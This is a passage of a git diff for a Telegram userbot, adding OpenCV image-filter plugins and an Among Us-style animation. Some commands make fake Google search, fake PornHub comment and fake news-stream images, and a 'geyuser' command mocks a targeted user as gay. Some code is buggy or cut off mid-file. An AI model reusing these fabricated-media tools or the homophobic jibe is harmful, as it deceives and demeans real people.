+import asyncio +import os +import random +import shutil + +import cv2 +import numpy as np +from PIL import Image + +from virtualuserbot import CMD_HELP, bot + +from ..utils import admin_cmd + +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) + + +# Originally Created by @danish_00 +# All Basics opencv just , the .rtoon was little challenging + + +@bot.on(admin_cmd("rtoon")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + image = await bot.download_media(reply.media, path) + await event.edit("`Processing... takes time`") + img = cv2.VideoCapture(image) + ret, frame = img.read() + height, width, channels = frame.shape + samples = np.zeros([height * width, 3], dtype=np.float32) + count = 0 + for x in range(height): + for y in range(width): + samples[count] = frame[x][y] + count += 1 + compactness, labels, centers = cv2.kmeans( + samples, + 13, + None, + (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10000, 0.0001), + 5, + cv2.KMEANS_PP_CENTERS, + ) + centers = np.uint8(centers) + res = centers[labels.flatten()] + nikal = res.reshape((frame.shape)) + cv2.imwrite("danish.jpg", nikal) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + # opencv basics + + +@bot.on(admin_cmd("ctoon")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.medianBlur(gray, 5) + edges = cv2.adaptiveThreshold( + gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9 + ) + color = cv2.bilateralFilter(frame, 13, 400, 400) + cartoon = cv2.bitwise_and(color, color, mask=edges) + cv2.imwrite("danish.jpg", cartoon) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + caption="To Know How this works type .howctoon", + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("danger")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + dark = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + cobra = cv2.cvtColor(dark, cv2.COLOR_HSV2BGR) + cv2.imwrite("danish.jpg", cobra) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("vintage")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image, cv2.IMREAD_GRAYSCALE) + ret, frame = img.read() + cobra = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) + cv2.imwrite("danish.jpg", cobra) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("random")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image, cv2.IMREAD_GRAYSCALE) + ret, frame = img.read() + x = random.randrange(1, 12) + if x == 1: + style = cv2.applyColorMap(frame, cv2.COLORMAP_BONE) + if x == 2: + style = cv2.applyColorMap(frame, cv2.COLORMAP_JET) + if x == 3: + style = cv2.applyColorMap(frame, cv2.COLORMAP_WINTER) + if x == 4: + style = cv2.applyColorMap(frame, cv2.COLORMAP_RAINBOW) + if x == 5: + style = cv2.applyColorMap(frame, cv2.COLORMAP_OCEAN) + if x == 6: + style = cv2.applyColorMap(frame, cv2.COLORMAP_SUMMER) + if x == 7: + style = cv2.applyColorMap(frame, cv2.COLORMAP_SPRING) + if x == 8: + style = cv2.applyColorMap(frame, cv2.COLORMAP_COOL) + if x == 9: + style = cv2.applyColorMap(frame, cv2.COLORMAP_HSV) + if x == 10: + style = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) + if x == 11: + style = cv2.applyColorMap(frame, cv2.COLORMAP_HOT) + if x == 12: + style = cv2.applyColorMap(frame, cv2.COLORMAP_AUTUMN) + cv2.imwrite("danish.jpg", style) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("rmbw")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply( + "Reply to any Image like this :-.rmbw 01;1.5;9; u can have any value instead" + ) + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + ims = image + os.system(f"wget https://telegra.ph/file/9974f1b3947f5f97f4075.png") + lbcn = "9974f1b3947f5f97f4075.png" + img1 = cv2.VideoCapture(ims) + ret, frame = img1.read() + img2 = cv2.imread(f"{lbcn}") + cv2.imwrite("cobra.jpg", frame) + image = Image.open("cobra.jpg") + shi, vam = image.size + img1 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2RGB) + img1 = cv2.resize(img1, (620, 350)) + img2 = cv2.resize(img2, (620, 350)) + mix = cv2.addWeighted(src1=img1, alpha=0.8, src2=img2, beta=0.45, gamma=0) + mila = cv2.cvtColor(mix, cv2.COLOR_RGB2BGR) + cv2.imwrite("danish.png", mila) + shvm = Image.open("danish.png") + img = shvm.resize((int(shi), int(vam))) + img.save("danish.png", format="PNG", optimize=True) + await event.client.send_file( + event.chat_id, + "danish.png", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.png") + os.remove("cobra.jpg") + + +@bot.on(admin_cmd("howctoon")) +async def howitworks(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + returnp + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.medianBlur(gray, 5) + edges = cv2.adaptiveThreshold( + gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9 + ) + color = cv2.bilateralFilter(frame, 13, 400, 400) + cartoon = cv2.bitwise_and(color, color, mask=edges) + cv2.imwrite("a.jpg", frame) + cv2.imwrite("b.jpg", gray) + cv2.imwrite("c.jpg", edges) + cv2.imwrite("d.jpg", color) + cv2.imwrite("e.jpg", cartoon) + ori = cv2.imread("a.jpg") + res = cv2.imread("e.jpg") + v_img = cv2.vconcat([ori, res]) + h_img = cv2.hconcat([ori, res]) + cv2.imwrite("H.jpg", h_img) + cv2.imwrite("V.jpg", v_img) + await event.delete() + da = await bot.send_file(event.chat.id, "a.jpg", caption="Original Pic") + await asyncio.sleep(3) + ni = await bot.edit_message(event.chat.id, da, file="b.jpg") + hm = await bot.edit_message( + event.chat.id, ni, "Stage 1 - Collecting The Gray form." + ) + await asyncio.sleep(3.5) + sh = await bot.edit_message(event.chat.id, hm, file="c.jpg") + lo = await bot.edit_message( + event.chat.id, sh, "Stage 2 - Collecting The Threshold Edges ." + ) + await asyncio.sleep(3.5) + co = await bot.edit_message(event.chat.id, lo, file="d.jpg") + he = await bot.edit_message(event.chat.id, co, "Stage 3 - Collecting Smooth Color.") + await asyncio.sleep(3.5) + bro = await bot.edit_message(event.chat.id, he, file="e.jpg") + await bot.edit_message(event.chat.id, co, "Output - Merged All Stages.") + await asyncio.sleep(3.5) + x = random.randrange(1, 2) + if x == 1: + await bot.send_file( + event.chat.id, + file="V.jpg", + caption="""ㅤ Check Difference + Done By VirtualUserbot + <. + + +import html +import os +from shutil import rmtree + +import cv2 +import numpy as np +import requests +from PIL import Image, ImageDraw, ImageFont +from telegraph import upload_file +from telethon.tl.functions.users import GetFullUserRequest + +from virtualuserbot import CMD_HELP +from virtualuserbot.function import convert_to_image, crop_vid, runcmd +from virtualuserbot.utils import friday_on_cmd, sudo_cmd + +sedpath = "./starkgangz/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +@friday.on(friday_on_cmd(pattern=r"cit")) +@friday.on(sudo_cmd(pattern=r"cit", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.edit("Colourzing..") + await event.get_reply_message() + img = await convert_to_image(event, borg) + net = cv2.dnn.readNetFromCaffe( + "./resources/imgcolour/colouregex.prototxt", + "./resources/imgcolour/colorization_release_v2.caffemodel", + ) + + pts = np.load("./resources/imgcolour/pts_in_hull.npy") + class8 = net.getLayerId("class8_ab") + conv8 = net.getLayerId("conv8_313_rh") + pts = pts.transpose().reshape(2, 313, 1, 1) + net.getLayer(class8).blobs = [pts.astype("float32")] + net.getLayer(conv8).blobs = [np.full([1, 313], 2.606, dtype="float32")] + image = cv2.imread(img) + scaled = image.astype("float32") / 255.0 + lab = cv2.cvtColor(scaled, cv2.COLOR_BGR2LAB) + resized = cv2.resize(lab, (224, 224)) + L = cv2.split(resized)[0] + L -= 50 + net.setInput(cv2.dnn.blobFromImage(L)) + ab = net.forward()[0, :, :, :].transpose((1, 2, 0)) + ab = cv2.resize(ab, (image.shape[1], image.shape[0])) + L = cv2.split(lab)[0] + colorized = np.concatenate((L[:, :, np.newaxis], ab), axis=2) + colorized = cv2.cvtColor(colorized, cv2.COLOR_LAB2BGR) + colorized = np.clip(colorized, 0, 1) + colorized = (255 * colorized).astype("uint8") + file_name = "Colour.png" + ok = sedpath + "/" + file_name + cv2.imwrite(ok, colorized) + await borg.send_file(event.chat_id, ok) + await hmmu.delete() + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +# Firstly Released By @DELETEDUSER420 +@friday.on(friday_on_cmd(pattern=r"nst")) +@friday.on(sudo_cmd(pattern=r"nst", allow_sudo=True)) +async def hmm(event): + life = Config.DEEP_API_KEY + if life == None: + life = "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" + await event.edit("No Api Key Found, Please Add it. For Now Using Local Key") + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + headers = {"api-key": life} + hmm = await event.edit("Colourzing..") + await event.get_reply_message() + img = await convert_to_image(event, borg) + img_file = { + "image": open(img, "rb"), + } + url = "https://api.deepai.org/api/nsfw-detector" + r = requests.post(url=url, files=img_file, headers=headers).json() + sedcopy = r["output"] + hmmyes = sedcopy["detections"] + game = sedcopy["nsfw_score"] + final = f"**IMG RESULT** \n**Detections :** `{hmmyes}` \n**NSFW SCORE :** `{game}`" + await borg.send_message(event.chat_id, final) + await hmm.delete() + if os.path.exists(img): + os.remove(img) + + +@friday.on(friday_on_cmd(pattern=r"thug")) +@friday.on(sudo_cmd(pattern=r"thug", allow_sudo=True)) +async def iamthug(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmm = await event.edit("`Converting To thug Image..`") + await event.get_reply_message() + img = await convert_to_image(event, borg) + imagePath = img + maskPath = "./resources/thuglife/mask.png" + cascPath = "./resources/thuglife/face_regex.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + image = cv2.imread(imagePath) + gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open(imagePath) + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + file_name = "fridaythug.png" + ok = sedpath + "/" + file_name + background.save(ok, "PNG") + await borg.send_file(event.chat_id, ok) + await hmm.delete() + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"tni")) +@friday.on(sudo_cmd(pattern=r"tni", allow_sudo=True)) +async def toony(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.edit("`Converting Toonized Image..`") + await event.get_reply_message() + img = await convert_to_image(event, borg) + imagez = cv2.imread(img) + cartoon_image_style_2 = cv2.stylization( + imagez, sigma_s=60, sigma_r=0.5 + ) ## Cartoonify process. + # Save it + file_name = "Tooned.png" + ok = sedpath + "/" + file_name + cv2.imwrite(ok, cartoon_image_style_2) + # Upload it + await borg.send_file(event.chat_id, ok) + await hmmu.delete() + # Remove all Files + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"tig")) +@friday.on(sudo_cmd(pattern=r"tig", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Triggered This Image`") + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + lolul = f"https://some-random-api.ml/canvas/triggered?avatar={imglink}" + r = requests.get(lolul) + open("triggered.gif", "wb").write(r.content) + lolbruh = "triggered.gif" + await borg.send_file( + event.chat_id, lolbruh, caption="You got triggered....", reply_to=sed + ) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"geyuser")) +@friday.on(sudo_cmd(pattern=r"geyuser", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Meking This Guy Gey.`") + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + lolul = f"https://some-random-api.ml/canvas/gay?avatar={imglink}" + r = requests.get(lolul) + open("geys.png", "wb").write(r.content) + lolbruh = "geys.png" + await borg.send_file(event.chat_id, lolbruh, caption="`You iz Gey.`", reply_to=sed) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"pix")) +@friday.on(sudo_cmd(pattern=r"pix", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Pixing This Image.`") + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + lolul = f"https://some-random-api.ml/canvas/pixelate?avatar={imglink}" + r = requests.get(lolul) + open("pix.png", "wb").write(r.content) + lolbruh = "pix.png" + await borg.send_file( + event.chat_id, lolbruh, caption="`Pixeled This Image.`", reply_to=sed + ) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"ytc")) +@friday.on(sudo_cmd(pattern=r"ytc", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Making Comment`") + sed = await event.get_reply_message() + hmm_s = await borg(GetFullUserRequest(sed.sender_id)) + if not hmm_s.profile_photo: + imglink = "https://telegra.ph/file/b9684cda357dfbe6f5748.jpg" + elif hmm_s.profile_photo: + img = await borg.download_media(hmm_s.profile_photo, sedpath) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + first_name = html.escape(hmm_s.user.first_name) + if first_name is not None: + first_name = first_name.replace("\u2060", "") + if sed.text is None: + comment = "Give Some Text" + else: + comment = sed.raw_text + lolul = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&username={first_name}&comment={comment}" + r = requests.get(lolul) + open("ytc.png", "wb").write(r.content) + lolbruh = "ytc.png" + await borg.send_file(event.chat_id, lolbruh, caption="`Hmm Nice.`", reply_to=sed) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"jail")) +@friday.on(sudo_cmd(pattern=r"jail", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.reply("hmm... Sending him to jail...🚶") + await event.get_reply_message() + img = await convert_to_image(event, borg) + await event.get_reply_message() + img = await convert_to_image(event, borg) + mon = "./resources/jail/hmm.png" + foreground = Image.open(mon).convert("RGBA") + background = Image.open(img).convert("RGB") + with Image.open(img) as img: + width, height = img.size + fg_resized = foreground.resize((width, height)) + background.paste(fg_resized, box=(0, 0), mask=fg_resized) + + background.save("./starkgangz/testing.png") + + file_name = "testing.png" + ok = "./starkgangz/" + file_name + await borg.send_file(event.chat_id, ok) + await hmmu.delete() + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"greyscale")) +@friday.on(sudo_cmd(pattern=r"greyscale", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.edit("hmm.. Creating a black&White image...") + await event.get_reply_message() + img = await convert_to_image(event, borg) + img1 = cv2.imread(img) + + gray_img = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) + + cv2.imwrite("./starkgangz/testing.png", gray_img) + file_name = "testing.png" + ok = "./starkgangz/" + file_name + await borg.send_file(event.chat_id, ok) + await hmmu.delete() + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +# Plugin By - XlayerCharon[XCB] +# TG ~>>//@CharonCB21 +# @code-rgb +@friday.on(friday_on_cmd(pattern=r"fgs ?(.*)")) +@friday.on(sudo_cmd(pattern=r"fgs ?(.*)", allow_sudo=True)) +async def img(event): + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found!") + return + if ";" in text: + search, result = text.split(";", 1) + else: + event.edit("Invalid Input! Check help for more info!") + return + photo = Image.open("resources/dummy_image/fgs.jpg") + drawing = ImageDraw.Draw(photo) + blue = (0, 0, 255) + black = (0, 0, 0) + font1 = ImageFont.truetype("Fonts/ProductSans-BoldItalic.ttf", 20) + font2 = ImageFont.truetype("Fonts/ProductSans-Light.ttf", 23) + drawing.text((450, 258), result, fill=blue, font=font1) + drawing.text((270, 37), search, fill=black, font=font2) + file_name = "fgs.jpg" + ok = sedpath + "/" + file_name + photo.save(ok) + await event.delete() + await friday.send_file(event.chat_id, ok) + if os.path.exists(ok): + os.remove(ok) + + +@friday.on(friday_on_cmd(pattern=r"lg")) +@friday.on(sudo_cmd(pattern=r"lg", allow_sudo=True)) +async def lottiepie(event): + await event.edit("`Prooooooccccesssssssinggggg.....`") + message = await event.get_reply_message() + if message.media and message.media.document: + mime_type = message.media.document.mime_type + if not "tgsticker" in mime_type: + await event.edit("Not Supported Yet.") + return + await message.download_media("tgs.tgs") + await runcmd("lottie_convert.py tgs.tgs json.json") + json = open("json.json", "r") + jsn = json.read() + json.close() + jsn = ( + jsn.replace("[1]", "[2]") + .replace("[2]", "[3]") + .replace("[3]", "[4]") + .replace("[4]", "[5]") + .replace("[5]", "[6]") + ) + open("json.json", "w").write(jsn) + await event.delete() + await runcmd(f"lottie_convert.py json.json tgs.tgs") + await borg.send_file(event.chat_id, file="tgs.tgs", force_document=False) + os.remove("json.json") + os.remove("tgs.tgs") + + +@friday.on(friday_on_cmd(pattern=r"ph ?(.*)")) +@friday.on(sudo_cmd(pattern=r"ph ?(.*)", allow_sudo=True)) +async def img(event): + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found! --__--") + return + if ":" in text: + username, texto = text.split(":", 1) + else: + event.edit("Invalid Input! Check help for more info!") + return + img = Image.open("./resources/pb/pb.jpg") + d1 = ImageDraw.Draw(img) + + myFont = ImageFont.truetype("./resources/pb/font.TTF", 100) + + d1.text((300, 700), username, font=myFont, fill=(135, 98, 87)) + + d1.text((12, 1000), texto, font=myFont, fill=(203, 202, 202)) + + img.save("./starkgangz/testpb.jpg") + file_name = "testpb.jpg" + ok = "./starkgangz/" + file_name + await borg.send_file(event.chat_id, ok) + os.remove(files) + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + event.delete() + + +# Credits To These : +# https://github.com/midnightmadwalk [TG: @MidnightMadwalk] +# https://github.com/code-rgb [TG: @DeletedUser420] +# Ported By https://github.com/STARKGANG [TG: @STARKXD] + + +@friday.on(friday_on_cmd(pattern=r"spin ?(.*)")) +@friday.on(sudo_cmd(pattern=r"spin ?(.*)", allow_sudo=True)) +async def spinshit(message): + reply = await message.get_reply_message() + lmaodict = {"1": 1, "2": 3, "3": 6, "4": 12, "5": 24, "6": 60} + lolshit = message.pattern_match.group(1) + keke = f"{lolshit}" + if not reply: + await message.edit("`Reply To Media First !`") + return + else: + if lolshit: + step = lmaodict[keke] + else: + step = 1 + pic_loc = await convert_to_image(message, borg) + if not pic_loc: + await message.edit("`Reply to a valid media first.`") + return + await message.edit("🌀 `Tighten your seatbelts, sh*t is about to get wild ...`") + spin_dir = 1 + path = "resources/rotate-disc/" + if os.path.exists(path): + rmtree(path, ignore_errors=True) + os.mkdir(path) + im = Image.open(pic_loc) + if im.mode != "RGB": + im = im.convert("RGB") + # Rotating pic by given angle and saving + for k, nums in enumerate(range(1, 360, step), start=0): + y = im.rotate(nums * spin_dir) + y.save(os.path.join(path, "spinx%s.jpg" % k)) + output_vid = os.path.join(path, "out.mp4") + # ;__; Maths lol, y = mx + c + frate = int(((90 / 59) * step) + (1680 / 59)) + # https://stackoverflow.com/questions/20847674/ffmpeg-libx264-height-not-divisible-by-2 + await runcmd( + f'ffmpeg -framerate {frate} -i {path}spinx%d.jpg -c:v libx264 -preset ultrafast -vf "crop=trunc(iw/2)*2:trunc(ih/2)*2" -pix_fmt yuv420p {output_vid}' + ) + if os.path.exists(output_vid): + round_vid = os.path.join(path, "out_round.mp4") + await crop_vid(output_vid, round_vid) + await borg.send_file( + message.chat_id, round_vid, video_note=True, reply_to=reply.id + ) + await message.delete() + os.remove(pic_loc) + rmtree(path, ignore_errors=True) + + +@friday.on(friday_on_cmd(pattern=r"lnews ?(.*)")) +@friday.on(sudo_cmd(pattern=r"lnews ?(.*)", allow_sudo=True)) +async def hmm(event): + text = event.pattern_match.group(1) + if not text: + await event.reply("No input found! --__--") + return + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.reply("hmm... Starting Live News Stream...🚶") + await event.get_reply_message() + img = await convert_to_image(event, borg) + await event.get_reply_message() + img = await convert_to_image(event, borg) + background = Image.open(img) + newss = "./resources/live/news.png" + foreground = Image.open(newss) + im = background.resize((2800, 1500)) + im.paste(foreground, (0, 0), mask=foreground) + d1 = ImageDraw.Draw(im) + myFont = ImageFont.truetype("./resources/live/font.ttf", 165) + d1.text((7, 1251), text, font=myFont, fill=(0, 0, 0)) + + im.save("./starkgangz/livenews.png") + file_name = "livenews.png" + ok = "./starkgangz/" + file_name + await borg.send_file(event.chat_id, ok) + await hmmu.delete() + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +CMD_HELP.update( + { + "imagetools": "**imagetools**\ + \n\n**Syntax : **`.cit`\ + \n**Usage :** colourizes the given picture.\ + \n\n**Syntax : **`.nst`\ + \n**Usage :** removes colours from image.\ + \n\n**Syntax : **`.tni`\ + \n**Usage :** Toonify the image.\ + \n\n**Syntax : ** `.thug`\ + \n**Usage :** makes a thug life meme image.\ + \n\n**Syntax : ** `.tig`\ + \n**Usage :** Makes a triggered gif of the replied image.\ + \n\n**Syntax : ** `.spin `\ + \n**Usage :** Spins The Given Image.\ + \n\n**Syntax : ** `.jail`\ + \n**Usage :** Makes a jail image of the replied image.\ + \n\n**Syntax : ** `.fgs searchtext;fake text`\ + \n**Usage :** Makes a Fake Google Search Image.\ + \n\n**Syntax : ** `.ph username:fake text`\ + \n**Usage :** Makes a Fake PornHub comment with given username and text.\ + \n\n**Syntax : ** `.greyscale`\ + \n**Usage :** Makes a black and white image of the replied image.\ + \n\n**Syntax : ** `.lnews `\ + \n**Usage :** Makes a Fake News Streaming With Replyed Image And Text." + } +) diff --git a/fridaybot/modules/imdb.py b/virtualuserbot/modules/imdb.py similarity index 99% rename from fridaybot/modules/imdb.py rename to virtualuserbot/modules/imdb.py index d1eb697c..cd99496d 100644 --- a/fridaybot/modules/imdb.py +++ b/virtualuserbot/modules/imdb.py @@ -12,7 +12,7 @@ import requests from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP langi = "en" diff --git a/fridaybot/modules/img.py b/virtualuserbot/modules/img.py similarity index 90% rename from fridaybot/modules/img.py rename to virtualuserbot/modules/img.py index 6f4bc530..b085bb5e 100644 --- a/fridaybot/modules/img.py +++ b/virtualuserbot/modules/img.py @@ -7,9 +7,9 @@ import shutil from re import findall -from fridaybot import CMD_HELP -from fridaybot.googol_images import googleimagesdownload -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.googol_images import googleimagesdownload +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="img ?(.*)")) diff --git a/virtualuserbot/modules/imposter.py b/virtualuserbot/modules/imposter.py new file mode 100644 index 00000000..526c70ff --- /dev/null +++ b/virtualuserbot/modules/imposter.py @@ -0,0 +1,151 @@ +""" +Created by @Jisan7509 +Credit @Infinity20998 +Userbot plugin fot CatUserbot +""" + + +import asyncio + +from virtualuserbot import ALIVE_NAME, CMD_HELP + +from ..utils import admin_cmd, sudo_cmd + +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" + + +@bot.on(admin_cmd(pattern="imp(|n) (.*)", outgoing=True)) +@bot.on(sudo_cmd(pattern="imp(|n) (.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + hmm = bot.uid + USERNAME = f"tg://user?id={hmm}" + name = event.pattern_match.group(2) + cmd = event.pattern_match.group(1).lower() + text1 = await edit_or_reply(event, "Uhmm... Something is wrong here!!") + await asyncio.sleep(2) + await text1.delete() + stcr1 = await event.client.send_file( + event.chat_id, "CAADAQADRwADnjOcH98isYD5RJTwAg" + ) + text2 = await event.reply( + f"**[{DEFAULTUSER}]({USERNAME}) :** I have to call discussion" + ) + await asyncio.sleep(3) + await stcr1.delete() + await text2.delete() + stcr2 = await event.client.send_file( + event.chat_id, "CAADAQADRgADnjOcH9odHIXtfgmvAg" + ) + text3 = await event.reply( + f"**[{DEFAULTUSER}]({USERNAME}) :** We have to eject the imposter or will lose " + ) + await asyncio.sleep(3) + await stcr2.delete() + await text3.delete() + stcr3 = await event.client.send_file( + event.chat_id, "CAADAQADOwADnjOcH77v3Ap51R7gAg" + ) + text4 = await event.reply(f"**Others :** Where??? ") + await asyncio.sleep(2) + await text4.edit(f"**Others :** Who?? ") + await asyncio.sleep(2) + await text4.edit( + f"**[{DEFAULTUSER}]({USERNAME}) :** Its {name} , I saw {name} using vent," + ) + await asyncio.sleep(3) + await text4.edit(f"**Others :**Okay.. Vote {name} ") + await asyncio.sleep(2) + await stcr3.delete() + await text4.delete() + stcr4 = await event.client.send_file( + event.chat_id, "CAADAQADLwADnjOcH-wxu-ehy6NRAg" + ) + catevent = await event.reply(f"{name} is ejected.......") + await asyncio.sleep(2) + await catevent.edit("ඞㅤㅤㅤㅤ ㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤඞㅤㅤㅤㅤ ㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤ ඞㅤㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤ ඞㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤ ඞㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤ ඞㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤ ඞㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤ ඞㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ඞ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ㅤ") + await asyncio.sleep(0.2) + await stcr4.delete() + if cmd == "": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚{name} was an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 0 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + await asyncio.sleep(4) + await catevent.delete() + await event.client.send_file(event.chat_id, "CAADAQADLQADnjOcH39IqwyR6Q_0Ag") + elif cmd == "n": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚{name} was not an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 1 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + await asyncio.sleep(4) + await catevent.delete() + await event.client.send_file(event.chat_id, "CAADAQADQAADnjOcH-WOkB8DEctJAg") + + +@bot.on(admin_cmd(pattern="timp(|n) (.*)", outgoing=True)) +@bot.on(sudo_cmd(pattern="timp(|n) (.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + name = event.pattern_match.group(2) + cmd = event.pattern_match.group(1).lower() + catevent = await edit_or_reply(event, f"{name} is ejected.......") + await asyncio.sleep(2) + await catevent.edit("ඞㅤㅤㅤㅤ ㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤඞㅤㅤㅤㅤ ㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤ 